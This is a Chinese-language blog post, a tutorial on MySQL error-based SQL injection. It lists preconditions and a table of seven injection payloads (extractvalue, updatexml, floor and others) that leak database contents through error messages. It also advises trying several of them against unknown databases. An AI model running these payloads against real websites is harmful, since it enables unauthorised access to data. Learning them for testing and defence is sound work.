• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
capybaras
博客园    首页    新随笔    联系   管理    订阅  订阅
SQL注入——报错注入

SQL注入报错注入


1.何为报错注入?


报错注入是一种在SQL注入攻击中利用数据库的错误信息来获取敏感数据的技术。当网站的web服务器开启了错误回显,并且数据库执行出错时,攻击者可以通过构造特定的SQL语句,让数据库在报错信息中泄露敏感数据。

2.适用场景有哪些?


适用于前端回显出报错信息的场景。

3.利用报错注入有哪些前提条件?


  1. Web应用程序未关闭数据库报错函数
  2. 后台未对一些具有报错功能的函数进行过滤
  3. 数据库支持报错注入(并非所有数据库都支持通过报错机制来泄露敏感信息,攻击者需要确保目标数据库支持报错注入)

4.报错注入需要用到哪些函数?


注:以下以MySQL中的函数为列。

序号 函数 用法
1 extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
2 updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
3 multipoint() select * from test where id=1 and multipoint((select * from(select *from(select database())a)b))
4 polygon() select * from test where id=1 and polygon((select * from(select *from(select database())a)b))
5 multipolygon() select * from test where id=1 and multipolygon((select * from(select *from(select database())a)b))
6 exp() select * from test where id=1 and exp(~(select *from(select database())a))
7 floor() select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

注:报错注入对数据库类型和版本有较强依赖,不清楚数据库时需要变换多种exp尝试。

posted on 2024-07-31 22:32  Hack_Tea  阅读(179)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3